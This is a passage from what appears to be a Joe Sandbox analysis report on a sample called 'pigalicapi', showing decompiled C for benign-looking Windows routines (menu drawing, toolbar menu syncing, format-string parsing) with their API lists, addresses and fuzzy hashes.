								if(_t145 < _v344) {
									_t167 = _v352;
									L8:
									E00816820( &_v404, 0, 0x30);
									_v404.cbSize = 0x30;
									E00816820( &(_v324.dwMajorVersion), 0, 0x90);
									_t174 = _t174 + 0x18;
									_t162 =  &_v324;
									_v324.dwOSVersionInfoSize = 0x94;
									if(GetVersionExA( &_v324) == 0) {
										goto L12;
									}
									goto L9;
								}
								goto L29;
							} else {
								_t139 = _v404.dwItemData;
								if(_t139 == 0 ||  *_t139 != 0x1313) {
									goto L26;
								} else {
									_t140 =  *(_t139 + 4);
									if(_t140 == 0) {
										goto L26;
									}
									_t159 =  *_t140;
									if(_t159 == 0) {
										goto L26;
									}
									while(_t159 != 0x26) {
										_t140 = CharNextA(_t140);
										_t159 =  *_t140;
										if(_t159 != 0) {
											continue;
										} else {
											goto L26;
										}
									}
									if( *_t140 == 0) {
										goto L26;
									}
									_t162 = _t140[1];
									_v356 = CharLowerA(_a4 & 0x0000ffff);
									if(CharLowerA(_t140[1] & 0x0000ffff) != _v356) {
										goto L26;
									}
									if(_v325 != 0) {
										_v332 = 3;
										L29:
										if(_v325 != 0) {
											_t170 = _v332;
											if(_t170 == 2) {
												PostMessageA( *(_t172 + 4), 0x448, 0xffffffff, 0);
												E00811570(_t172, _t170);
											}
											_t162 = _v340 & 0x0000ffff;
											 *_v348 = 1;
											_v336 = (_t170 & 0x0000ffff) << 0x00000010 | _v340 & 0x0000ffff;
										}
										goto L47;
									} else {
										_t162 = _t145 & 0x0000ffff;
										_v340 = _t145 & 0x0000ffff;
										_v325 = 1;
										goto L26;
									}
								}
							}
						}
						L12:
						_v404.cbSize = 0x2c;
						goto L13;
					}
				}
				_v336 = 0;
				if(_t147 != 0xd) {
					goto L3;
				}
				goto L2;
			}

0x0080e8c9
0x0080e8d0
0x0080e8d4
0x0080e8d8
0x0080e8da
0x0080e8dd
0x0080e8e9
0x0080e8ec
0x0080e8ee
0x0080e8f4
0x0080e8fa
0x0080e90c
0x0080e90c
0x0080e916
0x0080e918
0x0080eb0d
0x0080eb0d
0x0080eb27
0x0080eb31
0x0080eb35
0x0080eb81
0x0080eb8f
0x0080eb95
0x0080eb9b
0x0080eba5
0x0080eba8
0x0080ebae
0x0080ebc1
0x0080ebc4
0x0080ebc7
0x0080ebd3
0x0080ebd6
0x0080ebd8
0x0080ebe8
0x0080ebee
0x0080ebf4
0x0080ebfa
0x0080ec09
0x0080ec0f
0x0080ec11
0x0080ec19
0x0080ec74
0x0080ec2a
0x0080ec2a
0x0080ec32
0x0080ec3a
0x0080ec42
0x0080ec42
0x0080ec47
0x0080ec4c
0x0080ec58
0x0080ec6f
0x0080ec6f
0x0080ec19
0x0080eb37
0x0080eb3a
0x0080eb45
0x0080eb4d
0x0080eb56
0x0080eb6a
0x0080eb6a
0x0080eb56
0x0080ec7a
0x0080ec83
0x0080ec90
0x0080ec90
0x0080e920
0x0080e926
0x0080eb07
0x00000000
0x00000000
0x00000000
0x0080eb07
0x0080e92d
0x0080e933
0x0080e935
0x0080e93b
0x0080e945
0x0080e94b
0x0080e953
0x00000000
0x0080e959
0x0080e959
0x0080e9b4
0x0080e9b4
0x0080e9bd
0x0080e9d7
0x0080e9e5
0x0080e9ef
0x0080e9f9
0x0080ea07
0x0080ea94
0x0080ea94
0x0080ea9b
0x0080e960
0x0080e966
0x0080e971
0x0080e987
0x0080e991
0x0080e996
0x0080e999
0x0080e9a0
0x0080e9b2
0x00000000
0x00000000
0x00000000
0x0080e9b2
0x00000000
0x0080ea19
0x0080ea19
0x0080ea21
0x00000000
0x0080ea2b
0x0080ea2b
0x0080ea30
0x00000000
0x00000000
0x0080ea32
0x0080ea36
0x00000000
0x00000000
0x0080ea38
0x0080ea3e
0x0080ea44
0x0080ea48
0x00000000
0x0080ea4a
0x00000000
0x0080ea4a
0x0080ea48
0x0080ea4f
0x00000000
0x00000000
0x0080ea51
0x0080ea67
0x0080ea79
0x00000000
0x00000000
0x0080ea82
0x0080eaa3
0x0080eaad
0x0080eab4
0x0080eaba
0x0080eac3
0x0080ead2
0x0080eada
0x0080eada
0x0080eadf
0x0080eaf4
0x0080eafa
0x0080eafa
0x00000000
0x0080ea84
0x0080ea84
0x0080ea87
0x0080ea8d
0x00000000
0x0080ea8d
0x0080ea82
0x0080ea21
0x0080ea07
0x0080e9cd
0x0080e9cd
0x00000000
0x0080e9cd
0x0080e953
0x0080e8fc
0x0080e90a
0x00000000
0x00000000
0x00000000

APIs

GetMenuItemCount.USER32 ref: 0080E92D
_memset.LIBCMT ref: 0080E971
_memset.LIBCMT ref: 0080E991
GetVersionExA.KERNEL32(?,?,?,?,?,?,?), ref: 0080E9AA
GetMenuItemInfoA.USER32 ref: 0080E9FF
CharNextA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0080EA3E
PostMessageA.USER32 ref: 0080EAD2

Strings

,, xrefs: 0080E9CD
d, xrefs: 0080E9E5
?, xrefs: 0080E9EF
Z, xrefs: 0080E9C4
/, xrefs: 0080EB52

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: ItemMenu_memset$CharCountInfoMessageNextPostVersion
String ID: ,$/$?$Z$d
API String ID: 3606643131-2349203295
Opcode ID: 8431b4d51f2224e290de8331c2e949bd13d8cbc45fab15d044eb49a4e2735c66
Instruction ID: 16dbb72db68da19c11a259b88363fbb42921451b0ffc352add614ab604398186
Opcode Fuzzy Hash: 8431b4d51f2224e290de8331c2e949bd13d8cbc45fab15d044eb49a4e2735c66
Instruction Fuzzy Hash: 8BA14E70A002289FEBB0CF64CC88BEABBB5FF59704F108499E549E7291D7715A81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00812230 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 300
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00812230(void* __ecx, int _a4) {
				signed int _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				long _v48;
				intOrPtr _v52;
				long _v56;
				char _v60;
				struct HDC__* _v64;
				int _v68;
				int _v72;
				intOrPtr _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				int _v92;
				struct tagMENUITEMINFOA _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t121;
				signed int _t124;
				long _t132;
				signed int _t141;
				signed int _t143;
				signed int _t148;
				intOrPtr _t151;
				void* _t155;
				int _t167;
				int _t168;
				struct HBRUSH__* _t169;
				RECT* _t192;
				long _t194;
				long _t200;
				signed int _t203;
				int _t215;
				long _t234;
				intOrPtr _t235;
				signed int _t238;
				long _t250;
				void* _t252;
				int _t253;
				signed int _t255;
				int _t258;
				signed int _t262;

				_t121 =  *0x869060; // 0xda7e2511
				_v12 = _t121 ^ _t262;
				_t252 = __ecx;
				_v68 = _a4;
				_t124 =  *(__ecx + 0x10);
				_v76 =  *((intOrPtr*)(__ecx + 0x2c));
				_t255 = _t124 & 0x00000001;
				_v64 =  *((intOrPtr*)(__ecx + 0x18));
				_t192 = __ecx + 0x1c;
				_v80 = _t124 & 0x00000002;
				_v84 = _t255;
				_v88 = _t124 & 0x00000008;
				if(_t255 != 0) {
					FillRect(_v64, _t192, GetSysColorBrush(0x1d));
					FrameRect(_v64, _t192, GetSysColorBrush(0xd));
				} else {
					if( *((intOrPtr*)(__ecx + 0xc)) == 2) {
						FillRect(_v64, _t192, GetSysColorBrush(4));
					}
				}
				if(( *(_v76 + 8) & 0x00000800) == 0) {
					__eflags =  *(_t252 + 8) - 0xffff;
					if( *(_t252 + 8) == 0xffff) {
						_v84 = 0;
						_t255 = _v84;
					}
					_t132 = _t192->left;
					_t200 = _t192->top;
					_v28.left = _t132;
					_v28.right =  *((intOrPtr*)(_v68 + 0x98)) + _t132;
					_t234 =  *((intOrPtr*)(_v68 + 0x9c)) + _t200;
					_v28.bottom = _t234;
					asm("cdq");
					_v28.top = _t200;
					OffsetRect( &_v28, 0, _t192->bottom - _t200 - _t234 + _t200 - _t234 >> 1);
					__eflags = _v88;
					if(_v88 != 0) {
						_v44.top = _v28.top;
						_v44.left = _v28.left;
						_v44.right = _v28.right;
						_v44.bottom = _v28.bottom;
						InflateRect( &_v44, 0xffffffff, 0xffffffff);
						__eflags = _t255;
						if(_t255 != 0) {
							FillRect(_v64,  &_v44, GetSysColorBrush(4));
						}
						FrameRect(_v64,  &_v44, GetSysColorBrush(0xd));
					}
					_t235 = _v76;
					_t141 =  *(_t235 + 0x10);
					_v92 = _t141;
					__eflags = _t141;
					if(_t141 < 0) {
						E00816820( &_v140, 0, 0x30);
						_v140.cbSize = 0x30;
						_t143 = E00804890(_t192, _t252, _t255);
						__eflags = _t143;
						if(_t143 != 0) {
							_v140.cbSize = 0x2c;
						}
						_v140.fMask = 0x18;
						GetMenuItemInfoA( *(_t252 + 0x14),  *(_t252 + 8), 0,  &_v140);
						_t238 = _v88;
						_t203 = _v140.hbmpUnchecked;
						__eflags = _t238;
						if(_t238 != 0) {
							L23:
							_t148 = _v140.fType >> 0x00000009 & 0x00000001;
							__eflags = _t238;
							if(_t238 != 0) {
								_t203 = _v140.hbmpChecked;
							}
							E00812E10( &_v64,  &_v28, _v68, _t255, _v80, _t148, _t203);
						} else {
							__eflags = _t203;
							if(_t203 != 0) {
								goto L23;
							}
						}
						_t253 = _v68;
					} else {
						_t253 = _v68;
						asm("cdq");
						_v72 = _v28.right -  *((intOrPtr*)(_t253 + 0x90)) - _v28.left - _t235 >> 1;
						_t215 = _v72 + _v28.left;
						asm("cdq");
						_t167 = (_v28.bottom -  *((intOrPtr*)(_t253 + 0x94)) - _v28.top - _t235 >> 1) + _v28.top;
						__eflags = _v80;
						_v72 = _t215;
						_v68 = _t167;
						if(_v80 != 0) {
							__eflags = _t255;
							if(__eflags == 0) {
								L17:
								_t168 = 4;
							} else {
								__eflags = _v88;
								_t168 = 0x1d;
								if(__eflags != 0) {
									goto L17;
								}
							}
							_t169 = GetSysColorBrush(_t168);
							E00812D30( &_v64, _t253, __eflags,  &_v64, _v92, _t169, _t169, GetSysColorBrush(0x10), _v72, _v68);
							_t255 = _v84;
						} else {
							ImageList_Draw( *(_t253 + 0x48), _v92, _v64, _t215, _t167, 1);
						}
					}
					_t151 =  *((intOrPtr*)(_t253 + 0x98));
					_v56 = _t192->top;
					_t193 = _t192->bottom;
					_v52 = _t192->right - _t151;
					_v48 = _t192->bottom;
					_v60 = _t192->left + _t151 + 3;
					SetBkMode(_v64, 1);
					__eflags = _v80;
					if(_v80 == 0) {
						asm("sbb esi, esi");
						_t258 = ( ~_t255 & 0x00000007) + 7;
						__eflags = _t258;
					} else {
						__eflags = _t255;
						_t115 = (0 | _t255 != 0x00000000) + 0x10; // 0x10
						_t258 = _t115;
					}
					_t155 = E00812C90( *((intOrPtr*)(_v76 + 4)), _t253,  &_v64,  &_v60, GetSysColor(_t258));
					__eflags = _v12 ^ _t262;
					return E008159E6(_t155, _t193, _v12 ^ _t262,  &_v64, _t253,  *((intOrPtr*)(_v76 + 4)));
				} else {
					_t250 = _t192->right;
					_v44.left = _t192->left;
					_t194 = _t192->bottom;
					_v44.right = _t250;
					asm("cdq");
					_v44.top = _t192->top + (_t194 - _t192->top - _t250 >> 1);
					_v44.bottom = _t194;
					return E008159E6(DrawEdge(_v64,  &_v44, 6, 2), _t194, _v12 ^ _t262, _t250, _t252, _t255);
				}
			}

0x00812239
0x00812240
0x00812249
0x00812251
0x00812254
0x00812257
0x0081225e
0x00812267
0x0081226a
0x0081226d
0x00812270
0x00812273
0x00812278
0x008122f5
0x00812309
0x0081227a
0x0081227e
0x0081228e
0x0081228e
0x0081227e
0x0081229e
0x00812316
0x0081231a
0x0081231c
0x00812323
0x00812323
0x00812326
0x00812331
0x00812336
0x0081233c
0x0081234a
0x00812350
0x00812353
0x00812359
0x00812362
0x00812368
0x0081236c
0x00812379
0x0081237c
0x00812388
0x0081238b
0x0081238e
0x00812394
0x00812396
0x008123a9
0x008123a9
0x008123c0
0x008123c0
0x008123c6
0x008123c9
0x008123cc
0x008123cf
0x008123d1
0x00812483
0x0081248b
0x00812495
0x0081249a
0x0081249c
0x0081249e
0x0081249e
0x008124b9
0x008124c3
0x008124c9
0x008124cc
0x008124cf
0x008124d1
0x008124d7
0x008124dd
0x008124e0
0x008124e2
0x008124e4
0x008124e4
0x008124f8
0x008124d3
0x008124d3
0x008124d5
0x00000000
0x00000000
0x008124d5
0x008124fd
0x008123d7
0x008123d7
0x008123ef
0x008123f7
0x008123ff
0x00812402
0x00812407
0x0081240a
0x0081240e
0x00812411
0x00812414
0x00812431
0x00812433
0x00812440
0x00812440
0x00812435
0x00812435
0x00812439
0x0081243e
0x00000000
0x00000000
0x0081243e
0x00812446
0x0081246b
0x00812470
0x00812416
0x00812426
0x00812426
0x00812414
0x00812503
0x0081250b
0x00812511
0x00812516
0x00812523
0x00812526
0x00812529
0x0081252f
0x00812533
0x00812543
0x00812548
0x00812548
0x00812535
0x00812537
0x0081253c
0x0081253c
0x0081253c
0x00812562
0x0081256c
0x00812577
0x008122a0
0x008122a2
0x008122a5
0x008122ab
0x008122b2
0x008122b5
0x008122c3
0x008122cb
0x008122e4
0x008122e4

APIs

GetSysColorBrush.USER32(00000004), ref: 00812282
FillRect.USER32 ref: 0081228E
DrawEdge.USER32(?,?,00000006,00000002), ref: 008122CE
GetSysColorBrush.USER32(0000001D), ref: 008122E9
FillRect.USER32 ref: 008122F5
GetSysColorBrush.USER32(0000000D), ref: 008122FD
FrameRect.USER32 ref: 00812309
OffsetRect.USER32(?,00000000,?), ref: 00812362
InflateRect.USER32(?,000000FF,000000FF), ref: 0081238E
GetSysColorBrush.USER32(00000004), ref: 0081239A
FillRect.USER32 ref: 008123A9
GetSysColorBrush.USER32(0000000D), ref: 008123B1
FrameRect.USER32 ref: 008123C0
ImageList_Draw.COMCTL32(?,?,?,?,0080C527,00000001,?,?,?,?,0080ECC4), ref: 00812426
GetSysColorBrush.USER32(00000004), ref: 00812446
GetSysColorBrush.USER32(00000010), ref: 00812450
_memset.LIBCMT ref: 00812483
GetMenuItemInfoA.USER32 ref: 008124C3
SetBkMode.GDI32(?,00000001), ref: 00812529
GetSysColor.USER32(?), ref: 0081254C

Strings

,, xrefs: 0081249E

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Color$BrushRect$Fill$DrawFrame$EdgeImageInflateInfoItemList_MenuModeOffset_memset
String ID: ,
API String ID: 447778773-3772416878
Opcode ID: 583ec7ad6fc81fc2bb6cc4a51e329ce25e2b2fb2dbdf3437593cd3c356f3f54e
Instruction ID: 5ed88a6d2220996346a07ea941e90752f72193d25127439337140e4580e3c652
Opcode Fuzzy Hash: 583ec7ad6fc81fc2bb6cc4a51e329ce25e2b2fb2dbdf3437593cd3c356f3f54e
Instruction Fuzzy Hash: 1DC10CB1E002199FDB18CFA8D884AEEBBB9FF48310F148119E919E7355DB74A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0080BB40 Relevance: 36.9, APIs: 17, Strings: 4, Instructions: 187
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0080BB40(struct HMENU__* __ecx, struct HWND__* __edx, void* __edi) {
				signed int _v8;
				char _v116;
				int _v120;
				int _v124;
				char _v127;
				char _v128;
				int _v132;
				void* _v136;
				struct _OSVERSIONINFOA _v292;
				int _v296;
				intOrPtr _v300;
				CHAR* _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				void* _v328;
				struct tagMENUITEMINFOA _v376;
				void* __ebx;
				void* __esi;
				signed int _t67;
				struct HMENU__* _t69;
				long _t74;
				struct HMENU__* _t75;
				int _t80;
				intOrPtr _t96;
				void* _t101;
				int _t126;
				long _t127;
				signed int _t128;
				void* _t129;

				_t125 = __edi;
				_t118 = __edx;
				_t67 =  *0x869060; // 0xda7e2511
				_v8 = _t67 ^ _t128;
				_t126 = __ecx;
				if(__ecx == 0 || IsMenu(__ecx) != 0) {
					_t69 =  *(_t125 + 0x44);
					if(_t69 != 0 && ( *(_t125 + 0x58) & 0x00000002) == 0) {
						DestroyMenu(_t69);
					}
					 *(_t125 + 0x44) = _t126;
					if(( *(_t125 + 0x84) & 0x00000002) == 0) {
						_t101 = SendMessageA;
						SendMessageA( *(_t125 + 4), 0xb, 0, 0);
						_t74 = SendMessageA( *(_t125 + 4), 0x418, 0, 0);
						if(_t74 > 0) {
							_t127 = _t74;
							do {
								SendMessageA( *(_t125 + 4), 0x416, 0, 0);
								_t127 = _t127 - 1;
							} while (_t127 != 0);
						}
						_t75 =  *(_t125 + 0x44);
						if(_t75 != 0) {
							_t80 = GetMenuItemCount(_t75);
							_t126 = 0;
							_v296 = _t80;
							if(_t80 > 0) {
								do {
									E00816820( &_v376, 0, 0x30);
									_v376.cbSize = 0x30;
									E00816820( &(_v292.dwMajorVersion), 0, 0x90);
									_t129 = _t129 + 0x18;
									_v292.dwOSVersionInfoSize = 0x94;
									if(GetVersionExA( &_v292) == 0) {
										L16:
										_v376.cbSize = 0x2c;
									} else {
										_t96 = _v292.dwMajorVersion;
										if(_t96 < 5 && (_t96 != 4 || _v292.dwMinorVersion < 0x5a)) {
											goto L16;
										}
									}
									_v376.fMask = 0x15;
									_v376.fType = 0;
									_v376.dwTypeData =  &_v116;
									_v376.cch = 0x64;
									GetMenuItemInfoA( *(_t125 + 0x44), _t126, 1,  &_v376);
									if(lstrlenA( &_v116) > 0x63) {
										_v376.fType = 4;
										SetMenuItemInfoA( *(_t125 + 0x44), _t126, 1,  &_v376);
										_v116 = 0;
									}
									asm("sbb cl, cl");
									_v128 = 0;
									_v124 = 0;
									_v120 = 0;
									_v132 = 0;
									_v136 = 0;
									_v124 = 0;
									_v120 = 0;
									_v132 = _t126;
									_v128 = 4 + ( ~(_v376.fState & 0x00000003) & 0x000000fc);
									_v127 = 0x18;
									SendMessageA( *(_t125 + 4), 0x415, 0xffffffff,  &_v136);
									_v324 = 0;
									_v304 = 0;
									_v320 = 0;
									_v316 = 0;
									_v312 = 0;
									_v308 = 0;
									_v300 = 0;
									_v328 = 0x20;
									_v324 = 2;
									_v304 =  &_v116;
									SendMessageA( *(_t125 + 4), 0x442, _t126,  &_v328);
									_t126 = _t126 + 1;
								} while (_t126 < _v296);
							}
						}
						SendMessageA( *(_t125 + 4), 0xb, 1, 0);
						_t118 =  *(_t125 + 4);
						InvalidateRect( *(_t125 + 4), 0, 1);
						UpdateWindow( *(_t125 + 4));
					}
					return E008159E6(1, _t101, _v8 ^ _t128, _t118, _t125, _t126);
				} else {
					return E008159E6(_t99, _t101, _v8 ^ _t128, _t118, __edi, _t126);
				}
			}

0x0080bb40
0x0080bb40
0x0080bb49
0x0080bb50
0x0080bb55
0x0080bb59
0x0080bb76
0x0080bb7b
0x0080bb84
0x0080bb84
0x0080bb91
0x0080bb94
0x0080bb9d
0x0080bbaa
0x0080bbb9
0x0080bbbd
0x0080bbbf
0x0080bbc1
0x0080bbce
0x0080bbd0
0x0080bbd0
0x0080bbc1
0x0080bbd3
0x0080bbd8
0x0080bbdf
0x0080bbe5
0x0080bbe7
0x0080bbef
0x0080bbf5
0x0080bc00
0x0080bc13
0x0080bc1d
0x0080bc22
0x0080bc2c
0x0080bc3e
0x0080bc59
0x0080bc59
0x0080bc40
0x0080bc40
0x0080bc49
0x00000000
0x00000000
0x0080bc49
0x0080bc74
0x0080bc7e
0x0080bc88
0x0080bc8e
0x0080bc98
0x0080bcab
0x0080bcbb
0x0080bcc5
0x0080bccb
0x0080bccb
0x0080bce3
0x0080bce5
0x0080bce8
0x0080bceb
0x0080bcf0
0x0080bcf3
0x0080bcfc
0x0080bcff
0x0080bd0e
0x0080bd11
0x0080bd14
0x0080bd18
0x0080bd24
0x0080bd2a
0x0080bd30
0x0080bd36
0x0080bd3c
0x0080bd42
0x0080bd48
0x0080bd5a
0x0080bd64
0x0080bd6e
0x0080bd74
0x0080bd76
0x0080bd77
0x0080bbf5
0x0080bbef
0x0080bd8d
0x0080bd8f
0x0080bd97
0x0080bda1
0x0080bda1
0x0080bdbb
0x0080bb68
0x0080bb75
0x0080bb75

APIs

IsMenu.USER32 ref: 0080BB5C
DestroyMenu.USER32(?,?,00000000), ref: 0080BB84
SendMessageA.USER32 ref: 0080BBAA
SendMessageA.USER32 ref: 0080BBB9
SendMessageA.USER32 ref: 0080BBCE
GetMenuItemCount.USER32 ref: 0080BBDF
_memset.LIBCMT ref: 0080BC00
_memset.LIBCMT ref: 0080BC1D
GetVersionExA.KERNEL32(?,?,?,?,?,?,00000000), ref: 0080BC36
GetMenuItemInfoA.USER32 ref: 0080BC98
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000), ref: 0080BCA2
SetMenuItemInfoA.USER32(?,00000000,00000001,0000002C), ref: 0080BCC5
SendMessageA.USER32 ref: 0080BD18
SendMessageA.USER32 ref: 0080BD74
SendMessageA.USER32 ref: 0080BD8D
InvalidateRect.USER32(?,00000000,00000001,?,00000000), ref: 0080BD97
UpdateWindow.USER32(?), ref: 0080BDA1

Strings

d, xrefs: 0080BC8E
,, xrefs: 0080BC59
Z, xrefs: 0080BC50
, xrefs: 0080BD5A

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: MessageSend$Menu$Item$Info_memset$CountDestroyInvalidateRectUpdateVersionWindowlstrlen
String ID: $,$Z$d
API String ID: 1339012150-1066513455
Opcode ID: aa453d7764019b6d18b8c16ac10fe7182ff35fbb381335b7e312a7cc9faa4917
Instruction ID: 3404eafc506ac5182b6ae6ca30e3e8078f07241d01a5a552d7b389fbeb441ad4
Opcode Fuzzy Hash: aa453d7764019b6d18b8c16ac10fe7182ff35fbb381335b7e312a7cc9faa4917
Instruction Fuzzy Hash: 37712EB1A00619ABDB70DF68CD85BD9B7B8FF08714F104299E608E72C1D775AA81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00805910 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 370
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00805910(CHAR** _a4, CHAR* _a8, char _a12) {
				char _v8;
				long* _v12;
				long* _v16;
				char* _v20;
				CHAR* _t88;
				CHAR* _t93;
				CHAR* _t95;
				int _t97;
				long* _t100;
				void* _t102;
				long* _t104;
				CHAR* _t105;
				CHAR* _t111;
				char _t115;
				char _t118;
				void* _t120;
				signed int _t122;
				long* _t123;
				long* _t124;
				long* _t125;
				void* _t128;
				char _t131;
				intOrPtr* _t132;
				signed int _t133;
				long* _t134;
				char _t136;
				long* _t137;
				char _t139;
				CHAR* _t140;
				long* _t141;
				long* _t146;
				long* _t147;
				char _t150;
				void* _t153;
				intOrPtr* _t156;
				intOrPtr _t158;
				signed int _t160;
				CHAR* _t168;
				long* _t170;
				long* _t171;
				long* _t181;
				long* _t183;
				intOrPtr _t186;
				CHAR** _t188;
				long* _t189;
				CHAR* _t191;
				LONG* _t192;
				LONG* _t193;
				void* _t195;
				void* _t212;
				void* _t213;
				void* _t216;

				_t191 = _a8;
				_v20 = _a12;
				_v8 = 0;
				while( *_t191 != 0) {
					if( *_t191 != 0x25) {
						L82:
						_t111 = CharNextA(_t191);
						_t63 =  &_v8;
						 *_t63 = _v8 + _t111 - _t191;
						__eflags =  *_t63;
					} else {
						_t191 = CharNextA(_t191);
						_t115 =  *_t191;
						if(_t115 == 0x25) {
							goto L82;
						} else {
							_t189 = 0;
							_v12 = 0;
							if(_t115 == 0) {
								L15:
								_push(_t191);
								_v12 = E008160F2();
								_t117 =  *_t191;
								_t195 = _t195 + 4;
								if( *_t191 != 0) {
									while(1) {
										_t153 = E008163BE(_t117);
										_t195 = _t195 + 4;
										if(_t153 == 0) {
											goto L18;
										}
										_t191 = CharNextA(_t191);
										_t117 =  *_t191;
										if( *_t191 != 0) {
											continue;
										}
										goto L18;
									}
								}
							} else {
								do {
									if(_t115 != 0x23) {
										__eflags = _t115 - 0x2a;
										if(_t115 != 0x2a) {
											__eflags = _t115 - 0x2d;
											if(_t115 == 0x2d) {
												goto L13;
											} else {
												__eflags = _t115 - 0x2b;
												if(_t115 == 0x2b) {
													goto L13;
												} else {
													__eflags = _t115 - 0x30;
													if(_t115 == 0x30) {
														goto L13;
													} else {
														__eflags = _t115 - 0x20;
														if(_t115 == 0x20) {
															goto L13;
														}
													}
												}
											}
										} else {
											_t156 = _a12;
											_a12 = _t156 + 4;
											_v12 =  *_t156;
											goto L13;
										}
									} else {
										_v8 = _v8 + 2;
										goto L13;
									}
									break;
									L13:
									_t191 = CharNextA(_t191);
									_t115 =  *_t191;
								} while (_t115 != 0);
								if(_v12 == _t189) {
									goto L15;
								}
							}
							L18:
							_v16 = _t189;
							if( *_t191 == 0x2e) {
								_t191 = CharNextA(_t191);
								_push(_t191);
								if( *_t191 != 0x2a) {
									_v16 = E008160F2();
									_t146 =  *_t191;
									_t195 = _t195 + 4;
									__eflags = _t146;
									if(_t146 != 0) {
										while(1) {
											_t147 = E008163BE(_t146);
											_t195 = _t195 + 4;
											__eflags = _t147;
											if(_t147 == 0) {
												goto L24;
											}
											_t191 = CharNextA(_t191);
											_t146 =  *_t191;
											__eflags = _t146;
											if(_t146 != 0) {
												continue;
											}
											goto L24;
										}
									}
								} else {
									_t150 = _a12 + 4;
									_a12 = _t150;
									_v16 =  *((intOrPtr*)(_t150 - 4));
									_t191 = CharNextA(??);
								}
							}
							L24:
							_t118 =  *_t191;
							_t160 = 0;
							if(_t118 != 0x49 || _t191[1] != 0x36 || _t191[2] != 0x34) {
								_t120 = _t118 + 0xffffffba;
								__eflags = _t120 - 0x26;
								if(_t120 <= 0x26) {
									_t21 = _t120 + 0x805d3c; // 0x8b04c483
									switch( *((intOrPtr*)(( *_t21 & 0x000000ff) * 4 +  &M00805D2C))) {
										case 0:
											L32:
											_t191 = CharNextA(_t191);
											goto L33;
										case 1:
											_t160 = 0x10000;
											goto L32;
										case 2:
											__ebx = 0x20000;
											goto L32;
										case 3:
											goto L33;
									}
								}
							} else {
								_t191 =  &(_t191[3]);
								_t160 = 0x40000;
							}
							L33:
							_t122 =  *_t191 | _t160;
							_t212 = _t122 - 0x10063;
							if(_t212 > 0) {
								__eflags = _t122 - 0x20053;
								if(__eflags > 0) {
									_t123 = _t122 - 0x20063;
									__eflags = _t123;
									if(_t123 == 0) {
										goto L50;
									} else {
										__eflags = _t123 != 0x10;
										if(_t123 != 0x10) {
											goto L41;
										} else {
											goto L63;
										}
									}
								} else {
									if(__eflags == 0) {
										L63:
										_t136 = _a12 + 4;
										_a12 = _t136;
										_t137 =  *(_t136 - 4);
										__eflags = _t137;
										if(_t137 != 0) {
											_t42 =  &(_t137[0]); // 0x2
											_t183 = _t42;
											do {
												_t171 =  *_t137;
												_t137 =  &(_t137[0]);
												__eflags = _t171;
											} while (_t171 != 0);
											goto L47;
										} else {
											_t41 =  &(_t137[1]); // 0x6
											_t189 = _t41;
											goto L69;
										}
									} else {
										__eflags = _t122 - 0x10073;
										if(_t122 == 0x10073) {
											goto L51;
										} else {
											__eflags = _t122 - 0x20043;
											goto L40;
										}
									}
								}
							} else {
								if(_t212 == 0) {
									L50:
									_a12 = _a12 + 4;
